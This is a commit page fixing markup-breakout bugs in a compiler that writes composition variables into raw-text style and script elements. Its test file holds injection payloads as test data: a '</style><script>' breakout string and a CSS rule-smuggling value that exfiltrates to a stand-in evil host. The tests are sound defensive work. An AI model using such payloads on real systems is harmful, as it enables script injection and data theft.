Skip to content

Commit f9a2069

Browse files
vanceingallsclaude
andauthored
fix(core): escape < in compiler-emitted composition variable CSS (#3072)
* fix(core): escape `<` in the compiler-emitted variables script `<script>` is a raw-text element: HTML serialization does not escape its content, and the tokenizer ends it at the first `</script`. The statement `buildVariablesByCompScript` emits embeds composition variables via `JSON.stringify`, which escapes `"` and `\` but not `/` — so a variable value, key, or composition id containing `</script>` terminated the element early and the remainder was parsed as markup, corrupting the compiled document. Rewrite `<` to its JSON unicode escape. This is transparent to JSON.parse, so the table the runtime reads is unchanged. Co-Authored-By: Claude Fable 5 <[email protected]> * fix(core): centralize the JSON-in-script escape for every emitted literal Escaping only the variables table left the composition id exploitable through the wrapper it is emitted beside: wrapScopedCompositionScript serializes the comp id, timeline comp id, authored root id, scope-selector override, error label and two derived selector patterns with a bare JSON.stringify, and wrapInlineScriptWithErrorBoundary does the same for the composition's own source. All land in the same raw-text <script>, so any one of them could close the element and have the remainder parsed as markup. Route every literal through one jsonScriptLiteral helper instead of guarding per value — the comp id alone reaches the emitted script through four separate literals, which is how the first pass missed it. Tests cover each wrapper literal via a serialize/reparse round trip, and every payload now leads with a benign `<` ahead of its `</script`, so escaping only the first match no longer passes. * fix(core): escape `<` in compiler-emitted composition variable CSS Composition variable values are emitted as CSS declarations inside a `<style>` element. `<style>` is a raw-text element, so HTML serialization leaves its content unescaped and the tokenizer closes it at the first `</style` regardless of CSS string context. A value containing `</style>` therefore terminated the stylesheet and the remainder was parsed as markup. Escape `<` to `\\3c ` in `compositionVariablesCssBlock`. That is the CSS escape for `<`, valid in every value position — including inside an unquoted `url()`, whose grammar permits escape sequences — so rendering is unchanged. Variable ids need no equivalent: `cssVariableName` slugifies them. Co-Authored-By: Claude Fable 5 <[email protected]> * fix(core): close the comp-id selector and match the runtime scalar contract Escaping the variable value left two holes on the same stylesheet. The composition id reaches the raw-text <style> through a generated attribute selector, and cssAttributeSelector escaped only backslash and quote — correct for the selector's own string grammar, irrelevant to element termination. A comp id carrying `</style>` therefore injected markup; escaping `<` there covers all three call sites at once and still matches the same attribute value. The value path also diverged from the runtime. applyVariableBindings strips [;{}<>\r\n] from a scalar before it reaches a var() site, and docs/concepts/variables.mdx promises that, but the compiler removed only `<` — so `red; } body { … }` emitted a real sibling rule at compile time that the runtime would have refused. The compiler now reuses that exported sanitizer, so a rendered MP4 cannot diverge from the preview it was approved from. Both are verified by mutation: reverting either escape resurrects an executing script or the smuggled `body` rule. --------- Co-authored-by: Claude Fable 5 <[email protected]>
1 parent 91db93a commit f9a2069

3 files changed

Lines changed: 123 additions & 4 deletions

File tree

‎packages/core/src/compiler/htmlBundler.test.ts‎

Lines changed: 74 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -4,8 +4,9 @@ import { tmpdir } from "node:os";
44
import { join } from "node:path";
55
import { parseHTML } from "linkedom";
66
import { afterEach, beforeEach, describe, it, expect, vi } from "vitest";
7-
import { bundleToSingleHtml } from "./htmlBundler";
7+
import { bundleToSingleHtml, emitRootCompositionVariableStyles } from "./htmlBundler";
88
import { resetUnknownEnumWarnings } from "../runtime/getVariables";
9+
import { sanitizeCssValue } from "../runtime/applyVariableBindings";
910
import { getHyperframeRuntimeScript } from "../generated/runtime-inline";
1011

1112
function makeTempProject(files: Record<string, string>): string {
@@ -1510,3 +1511,75 @@ describe("bundleToSingleHtml unknown enum values", () => {
15101511
]);
15111512
});
15121513
});
1514+
1515+
/**
1516+
* Composition variable values are emitted as CSS declarations inside a `<style>`
1517+
* element. `<style>` is a RAW TEXT element: HTML serialization does not escape its
1518+
* content and the tokenizer closes it at the first `</style`. An unescaped value could
1519+
* therefore close the element and have the remainder parsed as markup.
1520+
*/
1521+
describe("emitRootCompositionVariableStyles — <style> breakout", () => {
1522+
/**
1523+
* The payload leads with a benign `<` before its `</style`, so escaping or
1524+
* stripping only the first match does not pass: that pins the `/g` flag rather
1525+
* than merely "something ran". A lone `<` in a value (`a < b`) is the common case.
1526+
*/
1527+
const BREAKOUT = "x<y</style><script>window.__pwned=1</script><style>";
1528+
1529+
/** Emit into a document, serialize it the way the compilers do, then re-parse. */
1530+
function scriptsAfterRoundTrip(
1531+
variablesByComp: Record<string, Record<string, unknown>>,
1532+
body = "x",
1533+
) {
1534+
const { document } = parseHTML(`<!doctype html><html><head></head><body>${body}</body></html>`);
1535+
emitRootCompositionVariableStyles(document, variablesByComp);
1536+
const { document: reparsed } = parseHTML(document.toString());
1537+
return {
1538+
scripts: [...reparsed.querySelectorAll("script")].map((s) => s.textContent ?? ""),
1539+
css: [...reparsed.querySelectorAll("style")].map((s) => s.textContent ?? "").join("\n"),
1540+
reparsed,
1541+
};
1542+
}
1543+
1544+
it("does not let a variable VALUE close the style element", () => {
1545+
const { scripts } = scriptsAfterRoundTrip({ "comp-a": { brand: BREAKOUT } });
1546+
expect(scripts).toEqual([]);
1547+
});
1548+
1549+
it("does not let a COMP ID close the style element through the generated selector", () => {
1550+
// The comp id reaches the stylesheet as an attribute selector, which is escaped
1551+
// for selector-string syntax but says nothing about element termination.
1552+
const { scripts, css } = scriptsAfterRoundTrip(
1553+
{ [`comp-a${BREAKOUT}`]: { brand: "#fff" } },
1554+
'<div data-composition-id="comp-a"></div>',
1555+
);
1556+
expect(scripts).toEqual([]);
1557+
expect(css).not.toContain("</style");
1558+
});
1559+
1560+
it("strips the characters that smuggle a sibling rule, matching the runtime", () => {
1561+
// `sanitizeCssValue` is the runtime contract for a scalar folded into
1562+
// `background: var(--x)`; the compile path has to reach the same result, or a
1563+
// rendered MP4 diverges from the preview it was approved from.
1564+
const smuggle = "red; } body { background-image: url(//evil?data=1) } x { y:z";
1565+
const { css } = scriptsAfterRoundTrip({ "comp-a": { brand: smuggle } });
1566+
1567+
expect(css).not.toContain("body {");
1568+
// One rule, one declaration: with no `;{}` left in the value there is nothing to
1569+
// close the declaration with, so no sibling rule can be opened.
1570+
expect(css.match(/\}/g) ?? []).toHaveLength(1);
1571+
expect(css).toContain(`--brand: ${sanitizeCssValue(smuggle)};`);
1572+
});
1573+
1574+
it("strips '<' from a value the way the runtime does", () => {
1575+
const { css, scripts } = scriptsAfterRoundTrip({ "comp-a": { brand: "a<b" } });
1576+
expect(scripts).toEqual([]);
1577+
expect(css).not.toContain("a<b");
1578+
expect(css).toContain("ab");
1579+
});
1580+
1581+
it("leaves values without '<' untouched", () => {
1582+
const { css } = scriptsAfterRoundTrip({ "comp-a": { brand: "#ff0066" } });
1583+
expect(css).toContain("#ff0066");
1584+
});
1585+
});

‎packages/core/src/compiler/htmlBundler.ts‎

Lines changed: 43 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
import { markFlattenedInnerRoot } from "../runtime/flattenedRoot";
22
export { FLATTENED_INNER_ROOT_STRIP_ATTRS } from "../runtime/flattenedRoot";
33
import { parseHostVariableValues, warnUnknownEnumValues } from "../runtime/getVariables";
4+
import { sanitizeCssValue } from "../runtime/applyVariableBindings";
45
import { cssVariableName } from "../tokenSlug";
56
import { readFileSync, existsSync } from "fs";
67
import { resolve, relative, dirname, isAbsolute, sep } from "path";
@@ -389,8 +390,17 @@ function rewriteCssUrlsWithInlinedAssets(cssText: string, projectDir: string): s
389390
);
390391
}
391392

393+
/**
394+
* Selectors built here are serialized inside a `<style>` element, which is a RAW
395+
* TEXT element: the tokenizer ends it at the first `</style` regardless of CSS
396+
* context, and the serializer does not escape its content. Backslash and quote
397+
* escaping keeps the selector's own string grammar valid; it does nothing about
398+
* element termination, so `<` needs the CSS hex escape too. `\3c ` is legal
399+
* wherever a string is, and matches the same attribute value, so selectors keep
400+
* matching. The trailing space terminates the escape.
401+
*/
392402
function cssAttributeSelector(attr: string, value: string): string {
393-
const escaped = value.replace(/\\/g, "\\\\").replace(/"/g, '\\"');
403+
const escaped = value.replace(/\\/g, "\\\\").replace(/"/g, '\\"').replace(/</g, "\\3c ");
394404
return `[${attr}="${escaped}"]`;
395405
}
396406

@@ -1135,6 +1145,37 @@ export async function bundleToSingleHtml(
11351145
return document.toString();
11361146
}
11371147

1148+
/**
1149+
* Make a scalar variable value safe to bake into a stylesheet.
1150+
*
1151+
* Two independent hazards, so two layers:
1152+
*
1153+
* 1. `sanitizeCssValue` is the runtime's own contract (`applyVariableBindings`,
1154+
* and `docs/concepts/variables.mdx` promises it): a scalar folded into
1155+
* `background: var(--x)` must not be able to close the declaration and open a
1156+
* new rule (`red; } body { background-image: url(//evil?data=…) }`). The
1157+
* compile path has to reach the same result as the runtime — a value the
1158+
* runtime strips but a compile-time emit honours would make the rendered MP4
1159+
* diverge from the preview.
1160+
* 2. These rules are then serialized inside a `<style>` element, which is a RAW
1161+
* TEXT element: HTML serialization does not escape its content and the
1162+
* tokenizer ends it at the first `</style`. `\3c ` is the CSS escape for `<`,
1163+
* valid in every value position including inside an unquoted `url()`, and
1164+
* resolves back to `<`, so rendering is unchanged. The trailing space is
1165+
* consumed as part of the escape.
1166+
*
1167+
* The sanitizer already removes `<`, so today layer 2 is redundant for values
1168+
* and load-bearing only for the selector (`cssAttributeSelector`, which must
1169+
* preserve `<` to keep matching). It stays because the two layers answer to
1170+
* different rules: narrowing the scalar character set must not silently reopen
1171+
* an element-termination hole.
1172+
*
1173+
* Variable IDs need no equivalent: `cssVariableName` slugifies them.
1174+
*/
1175+
function cssSafeVariableValue(value: string | number): string {
1176+
return sanitizeCssValue(String(value)).replace(/</g, "\\3c ");
1177+
}
1178+
11381179
/** One stylesheet rule defining primitive composition variables under `selector`. */
11391180
function compositionVariablesCssBlock(
11401181
variables: Record<string, unknown>,
@@ -1143,7 +1184,7 @@ function compositionVariablesCssBlock(
11431184
const lines: string[] = [];
11441185
for (const [id, value] of Object.entries(variables)) {
11451186
if ((typeof value === "string" && value !== "") || typeof value === "number") {
1146-
lines.push(` ${cssVariableName(id)}: ${String(value)};`);
1187+
lines.push(` ${cssVariableName(id)}: ${cssSafeVariableValue(value)};`);
11471188
}
11481189
}
11491190
if (lines.length === 0) return null;

‎packages/core/src/runtime/applyVariableBindings.ts‎

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -75,8 +75,13 @@ function isSafeMediaUrl(url: string): boolean {
7575
* characters is legal in a scalar variable value (string, number, color, font
7676
* family), so removing them is lossless for real inputs and neutralizes the
7777
* declaration/URL-exfiltration channel.
78+
*
79+
* Exported because the static compiler bakes the same scalars into a stylesheet
80+
* at build time and has to reach the same result: a value that the runtime
81+
* strips but a compile-time emit passes through would make the rendered MP4
82+
* differ from the preview, which is the more dangerous of the two directions.
7883
*/
79-
function sanitizeCssValue(value: string): string {
84+
export function sanitizeCssValue(value: string): string {
8085
return value.replace(/[;{}<>\r\n]/g, "");
8186
}
8287

0 commit comments

Comments
 (0)